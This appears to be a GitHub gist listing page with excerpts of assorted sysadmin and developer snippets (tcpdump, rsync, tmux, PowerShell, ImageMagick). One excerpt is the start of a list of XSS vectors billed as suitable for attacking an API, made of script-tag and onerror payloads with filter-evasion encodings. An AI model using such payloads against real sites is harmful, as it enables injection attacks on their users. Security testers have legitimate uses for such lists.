Skip to content

Instantly share code, notes, and snippets.

@mattm7n
mattm7n / gist:1405067
Created November 29, 2011 14:54
Monitor DHCP traffic with tcpdump
# Monitoring on interface eth0
tcpdump -i eth0 -n port 67 and port 68
@jboner
jboner / latency.txt
Last active June 29, 2024 19:54
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@KartikTalwar
KartikTalwar / Documentation.md
Last active June 25, 2024 10:55
Rsync over SSH - (40MB/s over 1GB NICs)

The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)

This creates an archive that does the following:

rsync (Everyone seems to like -z, but it is much slower for me)

  • a: archive mode - rescursive, preserves owner, preserves permissions, preserves modification times, preserves group, copies symlinks as symlinks, preserves device files.
  • H: preserves hard-links
  • A: preserves ACLs
@gdamjan
gdamjan / README.md
Last active June 27, 2024 20:09
Setup for an easy to use, simple reverse http tunnels with nginx and ssh. It's that simple there's no authentication at all. The end result, a single ssh command invocation gives you a public url for your web app hosted on your laptop.

What

A lot of times you are developing a web application on your own laptop or home computer and would like to demo it to the public. Most of those times you are behind a router/firewall and you don't have a public IP address. Instead of configuring routers (often not possible), this solution gives you a public URL that's reverse tunnelled via ssh to your laptop.

Because of the relaxation of the sshd setup, it's best used on a dedicated virtual machine just for this (an Amazon micro instance for example).

Requirements

@nhunzaker
nhunzaker / Makefile
Last active February 7, 2019 04:13
Access LMU light sensor on Mac. Also includes the Emacs plugin I use for automatically updating my theme according to ambient light.
all:
gcc light.m -std=c99 -framework Foundation -framework IOKit -o light
clean:
rm -f light
@mmdemirbas
mmdemirbas / set-ntfs-ro.ps1
Created March 23, 2013 20:54
PowerShell script to set or clear NTFS read-only flag of a volume by volume label
#########################################################################
# #
# Script to set or clear read-only flag of an NTFS volume. #
# #
# Usage: .\set-ntfs-ro.ps1 set "MY DISK LABEL" #
# .\set-ntfs-ro.ps1 clear "MY DISK LABEL" #
# #
# Author: Muhammed Demirbas, mmdemirbas at gmail dot com #
# Date : 2013-03-23 #
# #
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@jikkujose
jikkujose / .tmux.conf
Created November 17, 2013 04:37
Change prefix key in tmux to back-tick and still type back-ticks
unbind C-b
set-option -g prefix `
bind ` send-prefix
@lelandbatey
lelandbatey / whiteboardCleaner.md
Last active June 16, 2024 13:44
Whiteboard Picture Cleaner - Shell one-liner/script to clean up and beautify photos of whiteboards!

Description

This simple script will take a picture of a whiteboard and use parts of the ImageMagick library with sane defaults to clean it up tremendously.

The script is here:

#!/bin/bash
convert "$1" -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 "$2"

Results

@atifaziz
atifaziz / Get-ProcessTree.ps1
Last active November 30, 2021 09:20
PowerShell 2.0 script to get processes tree
# Copyright (c) 2014 Atif Aziz. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,